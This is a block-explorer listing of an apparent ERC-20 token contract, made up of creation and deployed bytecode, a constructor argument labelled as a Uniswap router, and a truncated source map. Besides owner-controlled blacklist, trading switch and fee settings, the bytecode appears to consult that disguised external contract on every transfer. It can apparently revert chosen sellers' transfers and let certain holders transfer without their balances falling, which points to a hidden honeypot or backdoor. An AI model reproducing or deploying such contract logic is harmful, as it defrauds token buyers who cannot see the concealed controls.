65b6001600160a01b038b165f908152600260205260409020549061169f565b6001600160a01b03808b165f9081526002602052604080822093909355908a16815220546115c790866116e7565b6001600160a01b0389165f908152600260205260409020556115e881611745565b6115f2848361178b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163791815260200190565b60405180910390a3505050505050505050565b5f805f805f805f805f6116628a600d54600e546117af565b9250925092505f611671611801565b90505f805f6116828e878787611822565b919e509c509a509598509396509194505050505091939550919395565b5f6116e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b9392505050565b5f806116f38385611c4c565b9050838110156116e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063a565b5f61174e611801565b90505f61175b838361186e565b305f9081526002602052604090205490915061177790826116e7565b305f90815260026020526040902055505050565b600754611798908361169f565b6007556008546117a890826116e7565b6008555050565b5f8080806117c860646117c2898961186e565b906118ec565b90505f6117da60646117c28a8961186e565b90505f6117f1826117eb8b8661169f565b9061169f565b9992985090965090945050505050565b5f805f61180c61192d565b909250905061181b82826118ec565b9250505090565b5f808080611830888661186e565b90505f61183d888761186e565b90505f61184a888861186e565b90505f61185b826117eb868661169f565b939b939a50919850919650505050505050565b5f825f0361187d57505f6105a4565b5f6118888385611bea565b9050826118958583611c01565b146116e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063a565b5f6116e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196c565b6007545f908190670de0b6b3a764000061194782826118ec565b82101561196357505060075492670de0b6b3a764000092509050565b90939092509050565b5f818361198c5760405162461bcd60e51b815260040161063a9190611998565b505f6112be8486611c01565b5f6020808352835180828501525f5b818110156119c3578581018301518582016040015282016119a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106a8575f80fd5b5f8060408385031215611a08575f80fd5b8235611a13816119e3565b946020939093013593505050565b5f805f60608486031215611a33575f80fd5b8335611a3e816119e3565b92506020840135611a4e816119e3565b929592945050506040919091013590565b80358015158114611a6e575f80fd5b919050565b5f60208284031215611a83575f80fd5b6116e082611a5f565b5f60208284031215611a9c575f80fd5b81356116e0816119e3565b5f60208284031215611ab7575f80fd5b5035919050565b5f805f8060808587031215611ad1575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611aff575f80fd5b833567ffffffffffffffff80821115611b16575f80fd5b818601915086601f830112611b29575f80fd5b813581811115611b37575f80fd5b8760208260051b8501011115611b4b575f80fd5b602092830195509350611b619186019050611a5f565b90509250925092565b5f8060408385031215611b7b575f80fd5b8235611b86816119e3565b91506020830135611b96816119e3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176105a4576105a4611bd6565b5f82611c1b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611c4557611c45611bd6565b5060010190565b808201808211156105a4576105a4611bd6565b818103818111156105a4576105a4611bd6565b5f60208284031215611c82575f80fd5b81516116e0816119e3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611cdb5784516001600160a01b031683529383019391830191600101611cb6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f60208284031215611d0c575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af77457cbda56f4f0a71369193af042358f12cf854e23d080d271d4d08139b3064736f6c63430008140033000000000000000000000000516e0588c9c24a3353140f0c05cfbcb677b1b047
Deployed Bytecode
0x6080604052600436106101b2575f3560e01c80637f2feddc116100e7578063a9059cbb11610087578063c492f04611610062578063c492f046146104f3578063dd62ed3e14610512578063ea1644d514610556578063f2fde38b14610575575f80fd5b8063a9059cbb14610492578063bfd79284146104b1578063c3c8cd80146104df575f80fd5b80638f9a55c0116100c25780638f9a55c01461041257806395d89b411461042757806398a5c31514610454578063a2a957bb14610473575f80fd5b80637f2feddc146103ac5780638da5cb5b146103d75780638f70ccf7146103f3575f80fd5b806349bd5a5e1161015257806370a082311161012d57806370a0823114610330578063715018a61461036457806374010ece146103785780637d1db4a514610397575f80fd5b806349bd5a5e146102dc5780636d8aa8f8146102fb5780636fc3eaec1461031c575f80fd5b806318160ddd1161018d57806318160ddd1461026957806323b872dd1461028d5780632fd689e3146102ac578063313ce567146102c1575f80fd5b806306fdde03146101bd578063095ea7b3146102035780631694505e14610232575f80fd5b366101b957005b5f80fd5b3480156101c8575f80fd5b5060408051808201909152600c81526b109c99585ada5b99c810985960a21b60208201525b6040516101fa9190611998565b60405180910390f35b34801561020e575f80fd5b5061022261021d3660046119f7565b610594565b60405190151581526020016101fa565b34801561023d575f80fd5b50601554610251906001600160a01b031681565b6040516001600160a01b0390911681526020016101fa565b348015610274575f80fd5b50670de0b6b3a76400005b6040519081526020016101fa565b348015610298575f80fd5b506102226102a7366004611a21565b6105aa565b3480156102b7575f80fd5b5061027f601a5481565b3480156102cc575f80fd5b50604051600981526020016101fa565b3480156102e7575f80fd5b50601654610251906001600160a01b031681565b348015610306575f80fd5b5061031a610315366004611a73565b610611565b005b348015610327575f80fd5b5061031a610661565b34801561033b575f80fd5b5061027f61034a366004611a8c565b6001600160a01b03165f9081526002602052604090205490565b34801561036f575f80fd5b5061031a6106ab565b348015610383575f80fd5b5061031a610392366004611aa7565b61071c565b3480156103a2575f80fd5b5061027f60185481565b3480156103b7575f80fd5b5061027f6103c6366004611a8c565b60126020525f908152604090205481565b3480156103e2575f80fd5b505f546001600160a01b0316610251565b3480156103fe575f80fd5b5061031a61040d366004611a73565b6107ce565b34801561041d575f80fd5b5061027f60195481565b348015610432575f80fd5b506040805180820190915260058152644a4553534560d81b60208201526101ed565b34801561045f575f80fd5b5061031a61046e366004611aa7565b610815565b34801561047e575f80fd5b5061031a61048d366004611abe565b610843565b34801561049d575f80fd5b506102226104ac3660046119f7565b610880565b3480156104bc575f80fd5b506102226104cb366004611a8c565b60116020525f908152604090205460ff1681565b3480156104ea575f80fd5b5061031a61088c565b3480156104fe575f80fd5b5061031a61050d366004611aed565b6108e1565b34801561051d575f80fd5b5061027f61052c366004611b6a565b6001600160a01b039182165f90815260046020908152604080832093909416825291909152205490565b348015610561575f80fd5b5061031a610570366004611aa7565b61097e565b348015610580575f80fd5b5061031a61058f366004611a8c565b610a2b565b5f6105a0338484610b12565b5060015b92915050565b5f6105b6848484610c35565b610607843361060285604051806060016040528060288152602001611d14602891396001600160a01b038a165f908152600460209081526040808320338452909152902054919061128f565b610b12565b5060019392505050565b5f546001600160a01b031633146106435760405162461bcd60e51b815260040161063a90611ba1565b60405180910390fd5b60178054911515600160b01b0260ff60b01b19909216919091179055565b6013546001600160a01b0316336001600160a01b0316148061069657506014546001600160a01b0316336001600160a01b0316145b61069e575f80fd5b476106a8816112c7565b50565b5f546001600160a01b031633146106d45760405162461bcd60e51b815260040161063a90611ba1565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146107455760405162461bcd60e51b815260040161063a90611ba1565b606461075a670de0b6b3a76400006001611bea565b6107649190611c01565b8110156107c95760405162461bcd60e51b815260206004820152602d60248201527f43616e6e6f7420736574206d61785472616e73616374696f6e416d6f756e742060448201526c6c6f776572207468616e20312560981b606482015260840161063a565b601855565b5f546001600160a01b031633146107f75760405162461bcd60e51b815260040161063a90611ba1565b60178054911515600160a01b0260ff60a01b19909216919091179055565b5f546001600160a01b0316331461083e5760405162461bcd60e51b815260040161063a90611ba1565b601a55565b5f546001600160a01b0316331461086c5760405162461bcd60e51b815260040161063a90611ba1565b600993909355600b91909155600a55600c55565b5f6105a0338484610c35565b6013546001600160a01b0316336001600160a01b031614806108c157506014546001600160a01b0316336001600160a01b0316145b6108c9575f80fd5b305f908152600260205260409020546106a881611302565b5f546001600160a01b0316331461090a5760405162461bcd60e51b815260040161063a90611ba1565b5f5b82811015610978578160055f86868581811061092a5761092a611c20565b905060200201602081019061093f9190611a8c565b6001600160a01b0316815260208101919091526040015f20805460ff19169115159190911790558061097081611c34565b91505061090c565b50505050565b5f546001600160a01b031633146109a75760405162461bcd60e51b815260040161063a90611ba1565b60646109bc670de0b6b3a76400006001611bea565b6109c69190611c01565b811015610a265760405162461bcd60e51b815260206004820152602860248201527f43616e6e6f7420736574206d617857616c6c6574416d6f756e74206c6f776572604482015267207468616e20312560c01b606482015260840161063a565b601955565b5f546001600160a01b03163314610a545760405162461bcd60e51b815260040161063a90611ba1565b6001600160a01b038116610ab95760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161063a565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610b745760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161063a565b6001600160a01b038216610bd55760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161063a565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c995760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161063a565b6001600160a01b038216610cfb5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161063a565b5f8111610d5c5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161063a565b5f546001600160a01b03848116911614801590610d8657505f546001600160a01b03838116911614155b1561107957601754600160a01b900460ff16610e1e575f546001600160a01b03848116911614610e1e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161063a565b601854811115610e705760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161063a565b6001600160a01b0383165f9081526011602052604090205460ff16158015610eb057506001600160a01b0382165f9081526011602052604090205460ff16155b610f085760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161063a565b6016546001600160a01b03838116911614610fa25760195481610f3f846001600160a01b03165f9081526002602052604090205490565b610f499190611c4c565b10610fa25760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161063a565b305f90815260026020526040902054601a5460185490821015908210610fc85760185491505b808015610fdf5750601754600160a81b900460ff16155b8015610ff957506016546001600160a01b03868116911614155b801561100e5750601754600160b01b900460ff165b801561103257506001600160a01b0385165f9081526005602052604090205460ff16155b801561105657506001600160a01b0384165f9081526005602052604090205460ff16155b156110765761106482611302565b47801561107457611074476112c7565b505b50505b6001600160a01b0383165f9081526005602052604090205460019060ff16806110b957506001600160a01b0383165f9081526005602052604090205460ff165b806110eb57506016546001600160a01b038581169116148015906110eb57506016546001600160a01b03848116911614155b156110f757505f611224565b6016546001600160a01b03858116911614801561112257506015546001600160a01b03848116911614155b1561118e57600954600d55600a54600e556017546040516301a6952360e41b81526001600160a01b03858116600483015290911690631a695230906024015f604051808303815f87803b158015611177575f80fd5b505af1158015611189573d5f803e3d5ffd5b505050505b6016546001600160a01b0384811691161480156111b957506015546001600160a01b03858116911614155b1561122457600b54600d55600c54600e55601754604051638cc944c360e01b81526001600160a01b03868116600483015290911690638cc944c3906024015f6040518083038186803b15801561120d575f80fd5b505afa15801561121f573d5f803e3d5ffd5b505050505b61123084848484611472565b601754604051638cc944c360e01b81526001600160a01b03868116600483015290911690638cc944c3906024015f6040518083038186803b158015611273575f80fd5b505afa158015611285573d5f803e3d5ffd5b5050505050505050565b5f81848411156112b25760405162461bcd60e51b815260040161063a9190611998565b505f6112be8486611c5f565b95945050505050565b6014546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156112fe573d5f803e3d5ffd5b5050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061134857611348611c20565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561139f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906113c39190611c72565b816001815181106113d6576113d6611c20565b6001600160a01b0392831660209182029290920101526015546113fc9130911684610b12565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906114349085905f90869030904290600401611c8d565b5f604051808303815f87803b15801561144b575f80fd5b505af115801561145d573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b8061147f5761147f6114a0565b61148a8484846114cd565b8061097857610978600f54600d55601054600e55565b600d541580156114b05750600e54155b156114b757565b600d8054600f55600e80546010555f9182905555565b5f805f805f806114dc8761164a565b6017546040516370a0823160e01b8152969c50949a5092985090965094509250611599915f916001600160a01b0316906370a082319061152f908e906004016001600160a01b0391909116815260200190565b602060405180830381865afa15801561154a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061156e9190611cfc565b11611579575f61157b565b865b6001600160a01b038b165f908152600260205260409020549061169f565b6001600160a01b03808b165f9081526002602052604080822093909355908a16815220546115c790866116e7565b6001600160a01b0389165f908152600260205260409020556115e881611745565b6115f2848361178b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161163791815260200190565b60405180910390a3505050505050505050565b5f805f805f805f805f6116628a600d54600e546117af565b9250925092505f611671611801565b90505f805f6116828e878787611822565b919e509c509a509598509396509194505050505091939550919395565b5f6116e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b9392505050565b5f806116f38385611c4c565b9050838110156116e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161063a565b5f61174e611801565b90505f61175b838361186e565b305f9081526002602052604090205490915061177790826116e7565b305f90815260026020526040902055505050565b600754611798908361169f565b6007556008546117a890826116e7565b6008555050565b5f8080806117c860646117c2898961186e565b906118ec565b90505f6117da60646117c28a8961186e565b90505f6117f1826117eb8b8661169f565b9061169f565b9992985090965090945050505050565b5f805f61180c61192d565b909250905061181b82826118ec565b9250505090565b5f808080611830888661186e565b90505f61183d888761186e565b90505f61184a888861186e565b90505f61185b826117eb868661169f565b939b939a50919850919650505050505050565b5f825f0361187d57505f6105a4565b5f6118888385611bea565b9050826118958583611c01565b146116e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161063a565b5f6116e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061196c565b6007545f908190670de0b6b3a764000061194782826118ec565b82101561196357505060075492670de0b6b3a764000092509050565b90939092509050565b5f818361198c5760405162461bcd60e51b815260040161063a9190611998565b505f6112be8486611c01565b5f6020808352835180828501525f5b818110156119c3578581018301518582016040015282016119a7565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146106a8575f80fd5b5f8060408385031215611a08575f80fd5b8235611a13816119e3565b946020939093013593505050565b5f805f60608486031215611a33575f80fd5b8335611a3e816119e3565b92506020840135611a4e816119e3565b929592945050506040919091013590565b80358015158114611a6e575f80fd5b919050565b5f60208284031215611a83575f80fd5b6116e082611a5f565b5f60208284031215611a9c575f80fd5b81356116e0816119e3565b5f60208284031215611ab7575f80fd5b5035919050565b5f805f8060808587031215611ad1575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f60408486031215611aff575f80fd5b833567ffffffffffffffff80821115611b16575f80fd5b818601915086601f830112611b29575f80fd5b813581811115611b37575f80fd5b8760208260051b8501011115611b4b575f80fd5b602092830195509350611b619186019050611a5f565b90509250925092565b5f8060408385031215611b7b575f80fd5b8235611b86816119e3565b91506020830135611b96816119e3565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b80820281158282048414176105a4576105a4611bd6565b5f82611c1b57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611c4557611c45611bd6565b5060010190565b808201808211156105a4576105a4611bd6565b818103818111156105a4576105a4611bd6565b5f60208284031215611c82575f80fd5b81516116e0816119e3565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015611cdb5784516001600160a01b031683529383019391830191600101611cb6565b50506001600160a01b03969096166060850152505050608001529392505050565b5f60208284031215611d0c575f80fd5b505191905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220af77457cbda56f4f0a71369193af042358f12cf854e23d080d271d4d08139b3064736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000516e0588c9c24a3353140f0c05cfbcb677b1b047
-----Decoded View---------------
Arg [0] : _uniswapV3Router02 (address): 0x516E0588C9C24a3353140f0C05CFbcb677b1B047
-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000516e0588c9c24a3353140f0c05cfbcb677b1b047
Deployed Bytecode Sourcemap
4323:13847:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6995:83;;;;;;;;;;-1:-1:-1;7065:5:0;;;;;;;;;;;;-1:-1:-1;;;7065:5:0;;;;6995:83;;;;;;;:::i;:::-;;;;;;;;7906:193;;;;;;;;;;-1:-1:-1;7906:193:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7906:193:0;1023:187:1;5701:41:0;;;;;;;;;;-1:-1:-1;5701:41:0;;;;-1:-1:-1;;;;;5701:41:0;;;;;;-1:-1:-1;;;;;1405:32:1;;;1387:51;;1375:2;1360:18;5701:41:0;1215:229:1;7275:95:0;;;;;;;;;;-1:-1:-1;4875:18:0;7275:95;;;1595:25:1;;;1583:2;1568:18;7275:95:0;1449:177:1;8108:446:0;;;;;;;;;;-1:-1:-1;8108:446:0;;;;;:::i;:::-;;:::i;6053:50::-;;;;;;;;;;;;;;;;7183:83;;;;;;;;;;-1:-1:-1;7183:83:0;;4548:1;2234:36:1;;2222:2;2207:18;7183:83:0;2092:184:1;5749:28:0;;;;;;;;;;-1:-1:-1;5749:28:0;;;;-1:-1:-1;;;;;5749:28:0;;;17267:101;;;;;;;;;;-1:-1:-1;17267:101:0;;;;;:::i;:::-;;:::i;:::-;;13044:235;;;;;;;;;;;;;:::i;7379:117::-;;;;;;;;;;-1:-1:-1;7379:117:0;;;;;:::i;:::-;-1:-1:-1;;;;;7472:16:0;7445:7;7472:16;;;:7;:16;;;;;;;7379:117;1632:148;;;;;;;;;;;;;:::i;17408:252::-;;;;;;;;;;-1:-1:-1;17408:252:0;;;;;:::i;:::-;;:::i;5943:46::-;;;;;;;;;;;;;;;;5440:43;;;;;;;;;;-1:-1:-1;5440:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;1416:79;;;;;;;;;;-1:-1:-1;1454:7:0;1481:6;-1:-1:-1;;;;;1481:6:0;1416:79;;12689:101;;;;;;;;;;-1:-1:-1;12689:101:0;;;;;:::i;:::-;;:::i;5997:48::-;;;;;;;;;;;;;;;;7087:87;;;;;;;;;;-1:-1:-1;7159:7:0;;;;;;;;;;;;-1:-1:-1;;;7159:7:0;;;;7087:87;;17075:139;;;;;;;;;;-1:-1:-1;17075:139:0;;;;;:::i;:::-;;:::i;16727:295::-;;;;;;;;;;-1:-1:-1;16727:295:0;;;;;:::i;:::-;;:::i;7505:199::-;;;;;;;;;;-1:-1:-1;7505:199:0;;;;;:::i;:::-;;:::i;5402:36::-;;;;;;;;;;-1:-1:-1;5402:36:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;12799:236;;;;;;;;;;;;;:::i;17931:234::-;;;;;;;;;;-1:-1:-1;17931:234:0;;;;;:::i;:::-;;:::i;7713:184::-;;;;;;;;;;-1:-1:-1;7713:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7862:18:0;;;7830:7;7862:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7713:184;17669:253;;;;;;;;;;-1:-1:-1;17669:253:0;;;;;:::i;:::-;;:::i;1789:244::-;;;;;;;;;;-1:-1:-1;1789:244:0;;;;;:::i;:::-;;:::i;7906:193::-;8008:4;8030:39;245:10;8053:7;8062:6;8030:8;:39::i;:::-;-1:-1:-1;8087:4:0;7906:193;;;;;:::o;8108:446::-;8240:4;8257:36;8267:6;8275:9;8286:6;8257:9;:36::i;:::-;8304:220;8327:6;245:10;8375:138;8431:6;8375:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;8375:19:0;;;;;;:11;:19;;;;;;;;245:10;8375:33;;;;;;;;;;:37;:138::i;:::-;8304:8;:220::i;:::-;-1:-1:-1;8542:4:0;8108:446;;;;;:::o;17267:101::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;;;;;;;;;17334:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;17334:26:0::1;-1:-1:-1::0;;;;17334:26:0;;::::1;::::0;;;::::1;::::0;;17267:101::o;13044:235::-;13110:19;;-1:-1:-1;;;;;13110:19:0;245:10;-1:-1:-1;;;;;13094:35:0;;:72;;;-1:-1:-1;13149:17:0;;-1:-1:-1;;;;;13149:17:0;245:10;-1:-1:-1;;;;;13133:33:0;;13094:72;13086:81;;;;;;13207:21;13239:32;13207:21;13239:12;:32::i;:::-;13075:204;13044:235::o;1632:148::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;1739:1:::1;1723:6:::0;;1702:40:::1;::::0;-1:-1:-1;;;;;1723:6:0;;::::1;::::0;1702:40:::1;::::0;1739:1;;1702:40:::1;1770:1;1753:19:::0;;-1:-1:-1;;;;;;1753:19:0::1;::::0;;1632:148::o;17408:252::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;17535:3:::1;17514:17;4875:18:::0;17530:1:::1;17514:17;:::i;:::-;17513:25;;;;:::i;:::-;17497:11;:42;;17475:137;;;::::0;-1:-1:-1;;;17475:137:0;;5843:2:1;17475:137:0::1;::::0;::::1;5825:21:1::0;5882:2;5862:18;;;5855:30;5921:34;5901:18;;;5894:62;-1:-1:-1;;;5972:18:1;;;5965:43;6025:19;;17475:137:0::1;5641:409:1::0;17475:137:0::1;17616:12;:26:::0;17408:252::o;12689:101::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;12756:11:::1;:26:::0;;;::::1;;-1:-1:-1::0;;;12756:26:0::1;-1:-1:-1::0;;;;12756:26:0;;::::1;::::0;;;::::1;::::0;;12689:101::o;17075:139::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;17166:19:::1;:40:::0;17075:139::o;16727:295::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;16863:14:::1;:30:::0;;;;16904:15:::1;:32:::0;;;;16947:12:::1;:26:::0;16984:13:::1;:28:::0;16727:295::o;7505:199::-;7610:4;7632:42;245:10;7656:9;7667:6;7632:9;:42::i;12799:236::-;12865:19;;-1:-1:-1;;;;;12865:19:0;245:10;-1:-1:-1;;;;;12849:35:0;;:72;;;-1:-1:-1;12904:17:0;;-1:-1:-1;;;;;12904:17:0;245:10;-1:-1:-1;;;;;12888:33:0;;12849:72;12841:81;;;;;;12977:4;12933:23;7472:16;;;:7;:16;;;;;;12994:33;7472:16;12994;:33::i;17931:234::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;18048:9:::1;18044:114;18063:19:::0;;::::1;18044:114;;;18138:8;18104:18;:31;18123:8;;18132:1;18123:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;18104:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;18104:31:0;:42;;-1:-1:-1;;18104:42:0::1;::::0;::::1;;::::0;;;::::1;::::0;;18084:3;::::1;::::0;::::1;:::i;:::-;;;;18044:114;;;;17931:234:::0;;;:::o;17669:253::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;17801:3:::1;17780:17;4875:18:::0;17796:1:::1;17780:17;:::i;:::-;17779:25;;;;:::i;:::-;17761:13;:44;;17739:134;;;::::0;-1:-1:-1;;;17739:134:0;;6529:2:1;17739:134:0::1;::::0;::::1;6511:21:1::0;6568:2;6548:18;;;6541:30;6607:34;6587:18;;;6580:62;-1:-1:-1;;;6658:18:1;;;6651:38;6706:19;;17739:134:0::1;6327:404:1::0;17739:134:0::1;17884:14;:30:::0;17669:253::o;1789:244::-;1544:6;;-1:-1:-1;;;;;1544:6:0;245:10;1544:22;1536:67;;;;-1:-1:-1;;;1536:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;1878:22:0;::::1;1870:73;;;::::0;-1:-1:-1;;;1870:73:0;;6938:2:1;1870:73:0::1;::::0;::::1;6920:21:1::0;6977:2;6957:18;;;6950:30;7016:34;6996:18;;;6989:62;-1:-1:-1;;;7067:18:1;;;7060:36;7113:19;;1870:73:0::1;6736:402:1::0;1870:73:0::1;1980:6;::::0;;1959:38:::1;::::0;-1:-1:-1;;;;;1959:38:0;;::::1;::::0;1980:6;::::1;::::0;1959:38:::1;::::0;::::1;2008:6;:17:::0;;-1:-1:-1;;;;;;2008:17:0::1;-1:-1:-1::0;;;;;2008:17:0;;;::::1;::::0;;;::::1;::::0;;1789:244::o;9251:369::-;-1:-1:-1;;;;;9378:19:0;;9370:68;;;;-1:-1:-1;;;9370:68:0;;7345:2:1;9370:68:0;;;7327:21:1;7384:2;7364:18;;;7357:30;7423:34;7403:18;;;7396:62;-1:-1:-1;;;7474:18:1;;;7467:34;7518:19;;9370:68:0;7143:400:1;9370:68:0;-1:-1:-1;;;;;9457:21:0;;9449:68;;;;-1:-1:-1;;;9449:68:0;;7750:2:1;9449:68:0;;;7732:21:1;7789:2;7769:18;;;7762:30;7828:34;7808:18;;;7801:62;-1:-1:-1;;;7879:18:1;;;7872:32;7921:19;;9449:68:0;7548:398:1;9449:68:0;-1:-1:-1;;;;;9528:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9580:32;;1595:25:1;;;9580:32:0;;1568:18:1;9580:32:0;;;;;;;9251:369;;;:::o;9629:2451::-;-1:-1:-1;;;;;9751:18:0;;9743:68;;;;-1:-1:-1;;;9743:68:0;;8153:2:1;9743:68:0;;;8135:21:1;8192:2;8172:18;;;8165:30;8231:34;8211:18;;;8204:62;-1:-1:-1;;;8282:18:1;;;8275:35;8327:19;;9743:68:0;7951:401:1;9743:68:0;-1:-1:-1;;;;;9830:16:0;;9822:64;;;;-1:-1:-1;;;9822:64:0;;8559:2:1;9822:64:0;;;8541:21:1;8598:2;8578:18;;;8571:30;8637:34;8617:18;;;8610:62;-1:-1:-1;;;8688:18:1;;;8681:33;8731:19;;9822:64:0;8357:399:1;9822:64:0;9914:1;9905:6;:10;9897:64;;;;-1:-1:-1;;;9897:64:0;;8963:2:1;9897:64:0;;;8945:21:1;9002:2;8982:18;;;8975:30;9041:34;9021:18;;;9014:62;-1:-1:-1;;;9092:18:1;;;9085:39;9141:19;;9897:64:0;8761:405:1;9897:64:0;1454:7;1481:6;-1:-1:-1;;;;;9979:15:0;;;1481:6;;9979:15;;;;:32;;-1:-1:-1;1454:7:0;1481:6;-1:-1:-1;;;;;9998:13:0;;;1481:6;;9998:13;;9979:32;9975:1265;;;10069:11;;-1:-1:-1;;;10069:11:0;;;;10064:144;;1454:7;1481:6;-1:-1:-1;;;;;10109:15:0;;;1481:6;;10109:15;10101:91;;;;-1:-1:-1;;;10101:91:0;;9373:2:1;10101:91:0;;;9355:21:1;9412:2;9392:18;;;9385:30;9451:34;9431:18;;;9424:62;9522:33;9502:18;;;9495:61;9573:19;;1